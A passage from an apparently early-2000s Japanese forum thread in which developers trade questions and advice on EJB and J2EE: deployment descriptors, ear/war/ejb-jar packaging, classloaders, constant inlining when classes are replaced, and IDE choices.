ハ キ { / ヽ,ト、ヽ/!`hノ ) モ |/! 「ヽ, `ー /) _ ‐'
ハ ャ ヽ/ r-、‐' // / |-‐ く | > / / `'//-‐、 /
ハ ハ > /\\// / /ヽ_ ! イ ( / / // / `ァ-‐ '
ハ ハ / /! ヽ レ'/ ノ > ' ∠ -‐  ̄ノヽ /
{ i l ! / フ / -‐ / ̄/〉 〈 \ /!
0827814
NGNGすまん、本当にわからんかったから教えてくれぃ
INSERT INTO EMP ( EMP_ID, NAME ) VALUES ( EMPSEQ.NEXTVAL, 'NAME');
ってやった時、どうやって一意制約違反になるの?(emp_idがPK)
たのんます
0828デフォルトの名無しさん
NGNGDBの制約のタイミングの設定次第。
遅延可能(DEFERRED)に設定しておけば、トランザクション終了時に整合性チェックを行う。
即時(IMMEDIATE)なら各文の実行終了後、制約を検査する。
0829デフォルトの名無しさん
NGNGなぜでしょうか?
私の認識ではEJBの持つ下記の性質のためだと思っていますが、
間違っていたらご指摘してください。
アベイラビリティ → 位置透過性(クラスタ対応+CMT)
スケーラビリティ → 位置透過性(リモート呼び出し)
EJBを本当に使う必要があるのか迷っています。
0830デフォルトの名無しさん
NGNG使っている方はテーブルとCMP EntityBeanをどのようにマッピングしているのでしょうか?
CMP+CMRを使ってテーブル:エンティティBean=1:1で対応させているのでしょうか?
業務APでEJBを開発した方の意見をお願いします!
0831デフォルトの名無しさん
NGNG> 業務APでEJBを開発した方の意見をお願いします!
EJBで業務AP開発した方、3万円の布施で貴重な意見をお願い致します。
だ。
0832デフォルトの名無しさん
NGNG某社のフレームワークまで使って開発したが、EntityBeanは使わなかった。
それでも、テーブルと1:1のクラスは作ったけどね。
0833827
NGNGああそっか、遅延なんてもんがあるのか。有難う。
>829
”必要がある”ケースってのは極めて稀。
それに、
>アベイラビリティ、スケーラビリティがあがる
とか言ってるのはEJBに力入れてるベンダのセールストークが大半で、
実際にアベイラブルなコンポーネントってのはそうそう無いと思う。
>832
多分、同じ職場に居たなw
>某社のフレームワークまで使って開発した
>テーブルと1:1のクラスは作った
あの案件の顛末が知りたい…
0834デフォルトの名無しさん
NGNGのように思えるけど、MVCアーキテクチャのModelとして根本から考えて
いくとスッキリするね。まずMVCで作ってみて、それからbeanをEJBにしよう。
0835デフォルトの名無しさん
NGNG良くこういうこと言うヤシいるよね。
実際2回も作るかっていう話だな。
0836デフォルトの名無しさん
NGNG学習の段階としてだよ。実務で2回も作るかって。
0837デフォルトの名無しさん
NGNGCORBAをちゃんと理解していれば、EJBの理解は何の苦労も無い。
0838デフォルトの名無しさん
NGNG例えば、とある本のサンプルでは
<resource-ref>
<resource-ref-name>jms/QueueConnectionFactory</res-ref-name>
<res-type>javax.jms.QueueConnectionFactory</res-type>
<res-auth>Container</res-auth>
</resource-ref>
<resource-env-ref>
<resource-env-ref-name>jms/Queue</res-ref-name>
<res-env-ref-type>javax.jms.Queue</res-type>
</resource-env-ref>
となってるんですが、何故javax.jms.Queueは<resource-ref>ではなく
<resource-env-ref>で指定してるんでしょう??
0839デフォルトの名無しさん
NGNGCORBAじゃねーだろ。
0840デフォルトの名無しさん
NGNG0841デフォルトの名無しさん
NGNG<resource-ref>は「リソースファクトリ」を定義するためのタグです。
<resource-env-ref>は「リソース環境参照」を定義するためのタグです。
今のところ、<resource-env-ref>はJMSのQUEUEとかTOPIC専門のはず。
0843デフォルトの名無しさん
NGNG「CORBAじゃねーだろ」だってさ。プププ。
0844デフォルトの名無しさん
NGNGそれにhtmlやjsp, Seervletが含まれるときはwarで
それらにさらにEJBが含まれるときはこのwarもまとめてearにするものですか?
0845デフォルトの名無しさん
NGNG他のearに含まれているEJBって呼ぶことができますか?
ってゆーか皆さん、
大規模開発等ではearファイル等をどのように分割されていますか?
ユースケース単位ですか?
earファイルを分ける不具合ってありますか?
0846デフォルトの名無しさん
NGNG0847デフォルトの名無しさん
NGNG> warファイルに入っているServletから、
> 他のearに含まれているEJBって呼ぶことができますか?
できるにきまっている。なんのための分散オブジェクトだ?
> 大規模開発等ではearファイル等をどのように分割されていますか?
> ユースケース単位ですか?
> earファイルを分ける不具合ってありますか?
ユースケース単位でわける?そんな細かくしてなんの意味がある。
(テキストを1行ずつファイルにわけるようなものだ。)
アプリケーション単位だろ。普通。
0848デフォルトの名無しさん
NGNG回答どうもです。
何度も質問して申し訳ありませんが、
2つのearファイル(ear1、ear2)として、
ear1内のサーブレットからear2のEJBを呼ぶ事できるのですか?
またwarファイルとejb-jarファイルを分けるとして
それぞれのアーカイブにて必要なクラス(ValueObject、Utilクラス)は
両方に入れる必要があるのですか?
0849デフォルトの名無しさん
NGNG自分で調べろ
> 2つのearファイル(ear1、ear2)として、
> ear1内のサーブレットからear2のEJBを呼ぶ事できるのですか?
だから、できるっていってるだろ。
JNDIを詳しく勉強してみろ。
> またwarファイルとejb-jarファイルを分けるとして
> それぞれのアーカイブにて必要なクラス(ValueObject、Utilクラス)は
> 両方に入れる必要があるのですか?
ないよ。warのMANIFEST.MFのClasspath:にejb-jar書いておけ。
0850デフォルトの名無しさん
NGNGear->いあー
war->うぉー
0851デフォルトの名無しさん
NGNGユースケース単位で分けるつったら、下手したらメソッドごとになっちまうぞ。
0852デフォルトの名無しさん
NGNGまじでつか?
0853デフォルトの名無しさん
NGNGあったら教えていただけませんか?
1.AppletからServletへアクセスする
2.数100件のデータをセッションに格納して、
10件ずつ位でJSPで表示する。
お願いします。
0854デフォルトの名無しさん
NGNGなんでやねん。DBから10件単位で持ってこりゃ良かろうが。
0855デフォルトの名無しさん
NGNG2なんだけど、表示するかどうかもわからない残りの90をセッションに取っておく
必要が本当に有るのか検討した方が良いと思うヨ
0857デフォルトの名無しさん
NGNG遅くねーか?キャッシュからが速くね?
0858デフォルトの名無しさん
NGNGRMIではなくてAppletからHttpでServletアクセスするサンプルソースです。
0859_
NGNG0860デフォルトの名無しさん
NGNGRMIでやるのは好ましくないが、通信についてどの程度理解してるか晒してくれ。
サンプルソースを要求してばかりじゃ糞PGのままだぜ?
自分でサンプル作るくらいの意識で情報掻き集めろ。
まあ、ひよこみたいだからヒントだけ言って終わりにする。
java.net.*;
これで道を開け。じゃあな。
0861デフォルトの名無しさん
NGNGどうもです。
ちなみにRMIで直接EJB呼出をやっていけないわけは
ファイヤウォールを越えられないからですか?
それとも何か別問題があるのですか?
0862デフォルトの名無しさん
NGNG0863デフォルトの名無しさん
NGNGセッションに保存するくらいなら、適当にストレージ用意して一時ファイル
にでもキャッシュしたら?Serializeそのまんまでいいからよ。でかいヒー
プ領域潰すと問題だろ?
>>860
RMIでもHttpをプロトコルに出来るんだけどね。最優先で選択させるには、
ファクトリ書き換えないといかんけど。
>>861
EJBは、下から見るとRMIのラッパー。EJB呼び出しはRMI呼び出しのラッピング
をしているので、君の言い草はおかしい。
それから、RMIあるいはEJBの仕組みは、RMIレジストリなどのサービスレジスト
リサーバを、クライアントがサーバールックアップに使用するために外部に公開
するので、Webをまたいでそんなことさせるのは、セキュリティ上非常によろし
くない。
0864デフォルトの名無しさん
NGNG0865デフォルトの名無しさん
NGNGなんのはなしですか?
ところで、そんなことするなら、普通はSecurityPolicy定義ファイルを
読ませるだけだと思うが。
0866デフォルトの名無しさん
NGNG申し訳ない。私が実務で実装しているクラスだった。近頃、混乱気味。
何をしてるクラスかは聞かないでくれたまえ。
0867デフォルトの名無しさん
NGNG適切なライブラリを知ってる人います?
ちなみにWin用
0868デフォルトの名無しさん
NGNGWebLogic7.0にてServletから
リモートIFにてSessionBeanを呼び出そうとしています。
(実際はServletとSessionBeanは同じマシンで動かしています。)
ServletはXXX.warに入れています。
SessionBeanはYYY.jarに入れています。
そうした時にXXX.warには
HomeIFとRemoteIFのclassファイルを格納する必要がありますか?
できればXXX.warにはHomeIFとRemoteIFを格納しないでできると良いのですが、
格納せずに済ますことはできますか?
0869デフォルトの名無しさん
NGNG普通はWARクラスローダーの親クラスローダーはEJBのクラスローダー
のはず。
同じEAR内ならWARからejb-jarは見えると思うが。
とりあえず、試せよ。
0870デフォルトの名無しさん
NGNG今試してみましが、だめでした。
ちなみにXXX.warとYYY.jarはEARファイルに入れておりません。
そのままデプロイしてます。
0871デフォルトの名無しさん
NGNG既に解決しているかもしれないが、起動スクリプト内でWebLogicを起動する
時のクラスパスにYYY.jarを含めれば問題なし。
>>869
正確には、EJBのクラスローダーは、WARのクラスローダーの親じゃない。
0872デフォルトの名無しさん
NGNGこれは、EJBを利用するのに必要なクラス(※)の .class ファイルをまとめた .jar ファイル。
※ たとえばこんなクラス
・EJB関連のインタフェース
・メソッドのシグネチャに使われているクラスやインタフェース
→ 引数や戻り値、例外
Webアプリの WEB-INF/lib ディレクトリに ejb-client.jar を配置しておくことで、
Webアプリのクラスパスには必要なクラスがすべて見えるということになる。
>>871 のようにWebLogic自体のクラスパスに含めるのは、
クラスをロードできるスコープをいたずらに広げてしまうから、あんまりお勧めしない。
0873デフォルトの名無しさん
NGNG回答ありがとうございます。
EJBってめんどくさいんですねぇ・・・
こういう場合って通常は皆さんどうされているのですか?
XXX.warにEJBのHome、Remoteインタフェースとデプロイメントディスクリプタを
格納しているのですか?
0874デフォルトの名無しさん
NGNGそもそも建前上は分散環境下で配備しているんだから、これは必要な作業。
ejb-jar.xml に ejb-client-jar 要素は規定されているよ。
0875デフォルトの名無しさん
NGNGデプロイしなおしてますか?
ちょっとした修正くらいなら (新規追加なし、置換えのみ) なら直接
ファイルを置き換えてますか?
0876デフォルトの名無しさん
NGNG0877デフォルトの名無しさん
NGNG0878デフォルトの名無しさん
NGNG0879デフォルトの名無しさん
NGNG開発中なら .war を展開形式のままディプロイしてもいいと思う。
ただ、それを正式なビルド手順にしていない限りは、
本番環境へは .war とか .ear にまとめるべき。
リリース手順をどんなポリシーにしているかによって答えは変わるよ。
0880デフォルトの名無しさん
NGNGやっぱり war か ear にすべきなのかなあ。
関係ないほかのモジュールまでデプロイしなおしてしまうのがどうも気になるところ。
開発チームがモジュール管理ちゃんとできてればヘンなモジュールリリースしちゃったりは
しないんだろうけど、どうも不安。
ちなみに私は、システム管理者です。
アプリケーション開発者やアプリケーションアセンブラーではありません。
0881デフォルトの名無しさん
NGNGJ2EEチュートリアルの「簡単な開発手順」のソースの理解で既にギブアップ。。。
リモートインターフェースで定義してあるメソッドをエンタープライズBeanで実装してあるけど、
どこでimplementsしてあるのかと小一時間。SessionBeanしかimplementsしてねーみたいだし・・・。
ここはとりあえず動くまで手探りでチュートリアル進めるべきなのか・・・。
EJBやってる人って、どうやって覚えたの??
0882デフォルトの名無しさん
NGNGリコンパイル必要な場合もあるだろうし、
依存関係はアーカイブ単位で取れてないと実行時にスガンなので
war,ear単位でのリリースが良いと思うよ。
0883デフォルトの名無しさん
NGNGシステム管理者ならば、なおのことしっかりとしたディプロイ手順を定めるべきだと思う。
面倒でもきっちりやっておいたほうがいいよ。
ケースに応じて、入れ替えるべきモジュールが異なってくる。
その手順に合うようにアセンブルするのはアプリケーションアセンブラの責任。
(1) EJBの実装の修正
→ EJBの .jar を入れ替え
(2) EJBの実装ならびにメソッドシグネチャの修正
→ EJBの .jar および ejb-client.jar の入れ替え
(3) 画面修正(JSPの修正)
→ .war の入れ替え
すべてのEJBを1個の .jar ファイルにまとめてしまうと、
1個の修正ですべてを交換するという非合理なことになる。
そこを論理的、機能的にうまく分割できるかどうかが
コンポーネントプロバイダ(EJB開発者)のテクニックだ。
0884デフォルトの名無しさん
NGNGjar をうまいこと分けても、ear が一緒だったら同じになってしまう訳で。
ear / Enterprise Application をうまくわけるベストプラクティス集みたいなのはまだないのかなあ。
0885デフォルトの名無しさん
NGNG>>880 の鬼のようなプロジェクトってどの位の規模でつか?
アプ鯖と鯖は何を使ってるのでつか?
我ながら教えてクンだな・・・
差し支えない程度で教えて下さいな。
0886デフォルトの名無しさん
NGNGわしはTomcatでServletやJSP, JDBCだけは使いこなしても
EJBだけはまだ理解していない。
だから今はEJBだけに先行したい。
と、いうことで、頼みがありまする。
EJBを学ぶにはオライリーの本、EJBを選ぶべきかJ2EEを選ぶべきは迷っておりまする。
これを買うべきか・・・・・・
J2EEクイックリファレンス
http://www.amazon.co.jp/exec/obidos/ASIN/4873110386/qid=1053864613/sr=1-11/ref=sr_1_2_11/249-5819567-0406747
それとも、これを買うべきか・・・・・・
EnterpriseJavabeans
http://www.amazon.co.jp/exec/obidos/ASIN/487311098X/qid=1053864669/sr=1-1/ref=sr_1_2_1/249-5819567-0406747
J2EEの本を読んだだけでEJBを満足に十分に使いこなせるのかどうか・・・・・
どっちがお勧めかよろしくおながいします。
0887880
NGNGこっちがアセンブル手順をきちんと定めて、あとはアセンブラーの責任ですよと
言ってても、アセンブラーがポカやったら、オペミスしかねない手順を定めた
藻前の責任ですよ と言われてしまうのです。
結局 ear 一つなので、リリースのたびに総入れ替えしているのが現状なのですが、
アプリケーションアセンブラーをあまり信用していないのでちょっと不安です。
バージョン管理ちゃんとできてるんだろうな・・・
ま、正規の手順は ear 再デプロイしかないのは事実なんですが。
class や jsp ファイルのみの置換えでも動くには動くが、サポート受けられないし。
>>885
お答えしかねます・・・一応、ND (non-disclosure agreement) という奴です。
0888デフォルトの名無しさん
NGNGServlet,JSP,Bean,の連携ならやった。
その後、RMIの基本を理解した。次はEJBだと思ってやり始めたはいいが・・。
チュートリアルで止まってる・・・マジわけわか。
最初からクイックリファレンスはまずくない?
漏れはSunのサイトから「アプリケーション設計ガイド」「J2EEチュートリアル」を落とした。
これを一通り読み終え、理解したらオライリーに逝こうかと思ってる。
0889デフォルトの名無しさん
NGNGオライリーのEnterpriseJavabeansは実践的でかなりいい本だけど初心者向けでない。
特にCMPで開発する人向けと言える。
なんか適当にStatelessSessionBeanを使ってる本があったらそっちのほうがいい。
0890デフォルトの名無しさん
NGNGStatefullSessionBeanは?
0891デフォルトの名無しさん
NGNG0892デフォルトの名無しさん
NGNGMySQLと接続したいんですがどのようにすればいいでしょうか?
SQL生成時に「Invalid value for getShort()-'NX'」
などとエラーになります
このエラーでどこを直せばよいのかヒントだけでも教えてください
0894デフォルトの名無しさん
NGNGそらまたDQN会社で…ご愁傷様。
ところで
>class や jsp ファイルのみの置換えでも動くには動くが
技術はキッチリ仕様を押さえてから使おうな。
jspならともかく、classを単体でとっかえるのは危険を伴うぞ。
0895デフォルトの名無しさん
NGNG> jspならともかく、classを単体でとっかえるのは危険を伴うぞ。
どの辺りが危険?詳細解説お願いします。
0896デフォルトの名無しさん
NGNG894じゃないけど…ぱっと思いつくので
・インスタンスイニシャライザで定数が代入されるfinal変数はインライン展開される。
あるクラスに定数をpublic static finalで列挙していて、その並びに変更/追加があった時などは
関係するクラス全てを再コンパイルする必要がある。
・継承の階層の途中のクラスを変更した時には全サブクラスを再コンパイルする必要がある。
てな事があるな。他にも有りそう。
厄介なのは、変更があったクラスだけとっかえりゃ良いってもんじゃ無い、という事。
影響範囲を調べれば良いわけだが、わざわざ人為的ミスを誘発する作業を挟むよりは
全部入れ替えるのがベターだろうな。
0897デフォルトの名無しさん
NGNG0898デフォルトの名無しさん
NGNGそれって J2EE じゃなくて Java
つか、オブジェクト指向の罠?
0899デフォルトの名無しさん
NGNG0900デフォルトの名無しさん
NGNG違うだろ。変更したクラスだけでいいって。
あんたはrt.jarの中を再コンパイルしてるのか?
0901デフォルトの名無しさん
NGNG再コンパイルの必要あるのですか?全く影響ないですよ。
必要あるのなら、何故必要なのか述べてください。
0902デフォルトの名無しさん
NGNG896は、関係するクラス全て とか 全サブクラス とかって
言ってるじゃねーか。
どこで rt.jar コンパイルするって話になった。
0903デフォルトの名無しさん
NGNGその参照を持ち回っているクラスは全部再コンパイルする必要があるな。
staticな定数は実行時に参照するのではなく、コンパイル時に値が
コピーされるようになっているから。
0904896
NGNG再コンパイルの必要性がわかんねーんだよ。
おまえソース晒せや。
0905デフォルトの名無しさん
NGNG0906880
NGNGEJBは要らない気がする。
JSP、Servlet、JavaMail 等のJ2EEテクノロジはないと面倒臭すぎるので必要。
>>894
フールプルーフな運用を構築するのはシステム管理者の責務だと思うので、
オペミス責任まで降ってくる自体はそんなにDQNとは思わない。
ただ、限度がある。
こなれてないWebアプリケーションサーバの管理、J2EE開発手順の責任までは取れないよ〜
class の置換えのキケンは J2EE 以前からある話しなので、ある程度気をつけてはいます。
ま、アプリケーション開発者じゃないので、頭の片隅においとくレベルですが。
0907デフォルトの名無しさん
NGNGそんな運用を指定するユーザーもそうはいないだろう。
仕様で規定されているとはいえ不要な障害をもたらしそうな部分だし、
APサーバごと再起動の方が手順もわかりやすい。
JSPなどはプリコンパイルさせて、.classファイルのみを.warに含めてるよ。
(でなければ最初のコンパイルに時間がかかりすぎる)
0908デフォルトの名無しさん
NGNGJavaの場合はあるソースを変更した場合に再コンパイルする必要があるのはそのソースのみなのに対し,C++の場合は注意しないとほとんど全てのソースを再コンパイルする必要が出る場合がある。
0909デフォルトの名無しさん
NGNG定数は使わずすべてメソッド呼び出しにしようかと考えたこともある。
徹底はしていないけど。
public static final int DEFAULT = 1;
↓
private static final int DEFAULT = 1;
public static int getDefault() {
return DEFAULT;
}
0910880
NGNGサーバ稼動中のclass入れ替えなんて絶対にできないよ。
そのclassのインスタンスがいるときにそんな事できない。
私が気にしてるのは、ear/warファイルデプロイの際に、
変更が入っていないファイルまで置換えられてしまう事。
まちがって未テストのclassでもアセンブルの際に紛れ込まされたらどうしよう
そういう不安があるのです。
warやearの差分リリースの仕組みがあればいいんだけど。
今はwarやearの分割でしか対応できないようだ。
0911デフォルトの名無しさん
NGNGそういうランタイムの実装を気にしたくないからこそ Java や OO なんだけどな・・・
0912デフォルトの名無しさん
NGNG0913デフォルトの名無しさん
NGNGまさかメモ帳?
設定が多すぎてツールに頼らないとできないような気がするので
なにが安定して使いやすい。
JBよりWASがいい?
0914デフォルトの名無しさん
NGNGお前だれだ?
0915デフォルトの名無しさん
NGNG> まちがって未テストのclassでもアセンブルの際に紛れ込まされたらどうしよう
> そういう不安があるのです。
その不安そのものを排除しようとはしないのか?
0916デフォルトの名無しさん
NGNG貴方が学ぶべき次のキーワードは「インライン化」
早く素人初心者から脱出できるといいですね(藁
0917880
NGNGそこを排除できればなにも言う事ないのですが、会社も別なのでなかなか口出しにくい。
アセンブル時にかかわれないのでデプロイの際になんとかカヴァーしたいのだが、無理そう。
リリース回数減らしてでもきっちりテストしてもらうしかないかな。
0918896@適当にレス
NGNG>900 良く嫁。そして試せ。
>901 何故必要ないと思ったんだろう…
>903 staticかどうかって関係あったっけ。良く覚えてないや。
private finalはインライン展開されたと思うけど、protected final はサブクラスで展開されるのかな。
>904 おいおい騙んなや。
>905 それが何か?ちゃんと読んでる?
>908 流れ嫁。Javaでも関係するクラスのソースを再コンパイルする必要はある。
>909 その方法はアリだね。但し、汚いしオーバーヘッドも発生するし…。
>914 誰だろうな。
>917 diff取るだけじゃダメか。
0919デフォルトの名無しさん
NGNGJ2EEはApacheと連動できますか?
また、連動させる必要はありますか?
0920919
NGNGやばいよ漏れもEJB早くやらないと乗り遅れちゃうよ。
0921デフォルトの名無しさん
NGNGJ2EEとは仕様のこと。J2EE reference implementation(J2EE RI)のことか?
J2EE RIのServletコンテナはTomcatだから当然できる。
> また、連動させる必要はありますか?
開発や動作検証のみだったら不要。
実運用するんだったら必要なことが多い。
しかし、J2EE RIはライセンス上実運用はNGだから
連動させる必要はないと言えば無い。
0922デフォルトの名無しさん
NGNGEJBについての議論は一切無いので安心してよい
0923デフォルトの名無しさん
NGNG>EJBは要らない気がする。
激しく同意しますだ。JSP/Servlet + JDBC で十分ズラ。
>>920
J2EE ってアプ鯖の事を言ってるでねぇのかな?
0925デフォルトの名無しさん
NGNGあるカラム(INTEGER)の値の合計出すときってどうするんですか?
EJBでは一行がオブジェクトとして扱ってるみたいだけど
こういう処理するときって
わざわざ、findしてオブジェクト取得して
希望のカラムの数値getして
また次の行をfindして値をgetして数値をプラスしていくんですか?
int i=0;
Customer customer=null;
for(int k=1;k<10;k++){
customer= customerHome.findByPrimaryKey(new Integer(k));
i=i+customer.getCount();
}
こういうやり方でいいのか悩みます
0926デフォルトの名無しさん
NGNG900や901、908みたいなド阿呆も立派にじゃヴぁぷろぐらまーを自称している。安心召されよ
詐称とも言う
0927デフォルトの名無しさん
NGNGなんで、「FinderException」投げるようになってるの?
見つからなかったときは、こっちで処理したいのに・・・
0928デフォルトの名無しさん
NGNG処理したらいいじゃん。例外投げてくれてるんだからcatchブロックでやれば?
0929デフォルトの名無しさん
NGNGやべーな。サーバーサイドに手をつけようって人間がこんなバカばっかなんだw
そらEJBの認知度も低い罠ぁ、、
0930デフォルトの名無しさん
NGNG確かに。
そういうear、war、ejb-jarをどのようにまとめるかは重要だよねぇ。
だれか意見を求みます!
0931デフォルトの名無しさん
NGNGEJBリモートIF、ホームIF、ejb-jar.xmlが必要なのですか?
0932デフォルトの名無しさん
NGNG0933デフォルトの名無しさん
NGNGまあ、そうなんだけどさ
俺としては
while(このオブジェクトある?){あれば処理する}
っていうのが自然なんだよな
それにさ、>>926じゃないが何千っていうRowがあるテーブルのとき
それ全部newするのっておかしくない?
ラップするのはわかるけどさ・・・
だからといってResultSet返すわけにもいかんし・・・
複数のRowを扱えるように最初から
String[] name;
String[] getName();
とかいうのを持ったBeanつくればいいのか?
0934デフォルトの名無しさん
NGNG0935デフォルトの名無しさん
NGNGhttp://angelers.free-city.net/page003.html
0936デフォルトの名無しさん
NGNGリソース名
リソース参照名
コレだけでも区別するのは辛い
JNDI名だけでいいじゃんボケ
0937デフォルトの名無しさん
NGNG*.xmlファイルの設定が間違ってると診ていいんでしょうか?
J2EE1.3.1+MySQL⇒Invalid getShort()
JBoss+MySQL⇒MBeanException: Exception in MBean operation 'checkIncompleteDeployments()
配備時に上のようなエラーが出ます
両方ともMySQLに繋ぎたいがどっちもダメだ
どうしたいんですか?
0938デフォルトの名無しさん
NGNGあなたこそどうしたいんですか?っていうか一晩中戦ってたの?
0939デフォルトの名無しさん
NGNG一晩中っていうか
土曜日からずっと悩んでる
なんかDB使うEJB作って配備するとエラーになる
JBoss+MySQLはHPで情報かなり見つけて
どこも、同じ設定方法だったので
バインドは間違いなく出来ていると思う
となると、DD系の設定か?と思うんだが・・・原因わからず・・・
しょうがないので、今はJ2EEのほうの標準組み込みのCloudscapeでやってます
0940デフォルトの名無しさん
NGNGJDBCで集計関数使いなさい。CMPはJDBCと組み合わせるのが普通。
0941デフォルトの名無しさん
NGNGそういうアナタはどのようにパッケージングしているのですか?
0942デフォルトの名無しさん
NGNG0943デフォルトの名無しさん
NGNGまだやってんのかよ。一旦諦めろって。
0944デフォルトの名無しさん
NGNG貴方はひとつのJVMで閉じている環境しか経験してないでしょ?
0945デフォルトの名無しさん
NGNGEJBQLしらないの?
(まー、正確にはEJB2.1じゃないとSUMは使えないはずだが、
どこのベンダーも独自実装してるから安心しな)
0946デフォルトの名無しさん
NGNG0947デフォルトの名無しさん
NGNG(リモートメソッドのところで)
厨房ですいませんが・・・
0948デフォルトの名無しさん
NGNGBMPの必然性が疑問でそうやって作っちゃったことはあるよ。
0949デフォルトの名無しさん
NGNGエンティティビーンとのメリット・デメリット比較衡量して判断する話しじゃないの
0950デフォルトの名無しさん
NGNG>>947-948 の気持ちがわからんでもない。
0951デフォルトの名無しさん
NGNGAPPに登録しているコネクションプールから?
0952デフォルトの名無しさん
NGNG0953デフォルトの名無しさん
NGNGEJBはトランザクション制御や分散化の恩恵を受けるためのものであって
再利用は期待できなさそう。
・・・ていうか日頃から疑問なのだがEJBみたいなモロに業務固有の処理に
特化した物って再利用できるのか?
フレームワークとかは業務に特化しないから再利用できるのじゃないか?
0954デフォルトの名無しさん
NGNG0955デフォルトの名無しさん
NGNGまあ、世の中にはEJBコンポーネントを売るのを商売としてる会社もあるわけだが。
つーか売れとるんかいな。
0956デフォルトの名無しさん
NGNGそのウチの一つのCSQのTムラ前社長と話したことがあるが、すでに
コンポーネントのマーケットスクエアというビジネスモデルそのものが
成り立っていないそうだ。イイCワンのCバンクにしてもそう。
0957デフォルトの名無しさん
NGNG確かにJ2EEコンポーネントのパッケージングは重要ですよね。
皆さんはどのようにパッケージングされていますか?
1.大規模開発の場合のパッケージング
(ユースケースのアクター単位?)
2.共通Class(util、ValueObject、Exception)のパッケージング
(全パッケージに入れる?コンテナのClassPathに指定)
3.EJB-Client.jarに入れるべきものは?
0958デフォルトの名無しさん
NGNGEJBの仕様で定められているものですか?
0959デフォルトの名無しさん
NGNG0960デフォルトの名無しさん
NGNG0961山崎渉
NGNGピュ.ー ( ^^ ) <これからも僕を応援して下さいね(^^)。
=〔~∪ ̄ ̄〕
= ◎――◎ 山崎渉
0962デフォルトの名無しさん
NGNG0963デフォルトの名無しさん
NGNGいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇアガガアガガア・・・・・プペラポンkdiぢおあpjぢあづづ
0964デフォルトの名無しさん
NGNGBMPのほうが取っ付きやすいんだけど・・・俺は
0965デフォルトの名無しさん
NGNGやはりEJBが広まるには開発ツールの充実がキーポイントと思います。
VBまでとは言いませんが安定したIDEが必須だと思います。
以下ツールの感想。
JB・・・シェアNO1らしいがチューニングされているせいか少ないメモリでも
動く。128MでもサーブレットJSPなら開発可能。やはり使いやすい
いちおうマルチASなのでかなり対応している。
WAS・・・Strutsウイザード・HPビルダー
などついていてかなりいいみたい。エクリプスが基本なんで軽い。
でもメモリはかなりいる。
Jdeveloper9i・・・期待のツール。UMLとコードの対応が可能。
すこし動きが遅い。GUIはしょぼい。これから伸びるツール(
まだまだ改良する余地がある)オラクルASともに期待できるか?
エクリプス・・・フリーなんで設定が面倒。
結局EJB対応にしぼればどれもまだまだ。
0966デフォルトの名無しさん
NGNGEJBの仕様で定められているものですか?
0967デフォルトの名無しさん
NGNG業種別のドメインモデルが標準化されるときがきて、各システム
がその標準化されているモデルの上で、業務ロジックを実装するような形に
なれば、可能かも。
0968デフォルトの名無しさん
NGNGもうちょい詳しい解説きぼn
「まさかクラス図変えたらソースも追随する」だけとかじゃないだろね。
せめてソースからシーケンス図が自動で作られないと今時斬新さの欠片も無いぞ。
>エクリプス・・・フリーなんで設定が面倒。
J2EEプロジェクトを新規作成してリモートデバッグまで持っていく手順ではJBの比にならんくらい簡単。
そもそもプラグインプラットフォームの何を評価したのやら。
どういうプラグインを通して試行したのか書かなきゃ全然意味無し。
0969デフォルトの名無しさん
NGNG日記ツール総合スレッド@Linux板
http://pc.2ch.net/test/read.cgi/linux/1003248633/
CGIやsendmailで動くだけじゃつまんない。
メールサーバも100%PureJavaのJamesにして。
0970デフォルトの名無しさん
NGNGでも他にこの機能(UML)ついてるのはないよ
たしかにシーケンスはないけど。値段が安い。10万
JBてそんなリモートdebugややこしい?
0971デフォルトの名無しさん
NGNG0972デフォルトの名無しさん
NGNGJ2EEチュートリアル見れ
0973デフォルトの名無しさん
NGNGだーかーらー、その機能(UML)ってのは何なのよ。
>>965に書いてあるだけなわけ無いよな?少なくともOmondo以上の事ができなきゃ、
「Eclipseなら無料で手に入る機能の為に10万?ふざけんな」って言われて終わり。
あと、
>J2EEプロジェクトを新規作成して〜〜
って文を無視するな。
0974デフォルトの名無しさん
NGNGコードとUMLのリバースエンジニアリング。
あっROSEつかえばとか他の格安のツール使えばとかはなし(w
ドキュメントが充実しているのがいい。
それからリモートデバックなんて使う?
ローカルで検証してサーバにアップでしょう。
どんなときにつかうのかな?不安定でなかなか使い物に奈良なんですけど
あとそれからJ9iはまだまだ未完成のツールなんで
これからが楽しみ。Strutsも手順多すぎ。
あっ私厨房なんでよろしく(w
0975デフォルトの名無しさん
NGNG載ってねぇぞ!
まさか、アプリケーションのjarファイルの事言ってねぇよな。
0976デフォルトの名無しさん
NGNGローカルで検証して上げた後、リモートでも同じテストをする事もある。
0977デフォルトの名無しさん
NGNG0978デフォルトの名無しさん
NGNGejb-jar.xmlを手書きする。
すべての要素をながめて、必須だの不要だのいりろ悩んでみることだ。
0979デフォルトの名無しさん
NGNGいきなりそれは無理でしょ。
0980デフォルトの名無しさん
NGNG確かに。
そういうear、war、ejb-jarをどのようにまとめるかは重要だよねぇ。
だれか意見を求みます!
0981デフォルトの名無しさん
NGNGそのうえで、JNDI(のネーミングサービス)やEJBのHome,Remote,実装の仕掛けを勉強。
0982デフォルトの名無しさん
NGNGEJBってデプロイ時にstubやskeltonの生成・コンパイルしてるんだよね。
ここらへんはIDLから作るCORBAよりもスマートだと思った。
ガリガリとRMIやってた人も、ここら辺の仕組みの理解は楽ちんだったろうな、と想像。
0983デフォルトの名無しさん
NGNGそんな単語さえ知らなくたって分散オブジェクトが出来てしまうのが
EJBの良いところの一つ。
0984デフォルトの名無しさん
NGNG0985デフォルトの名無しさん
NGNG俺はEclipseでやってるよ・
0986デフォルトの名無しさん
NGNGJ2EEチュートリアルにejb-client.jar載ってねぇぞ!
0988デフォルトの名無しさん
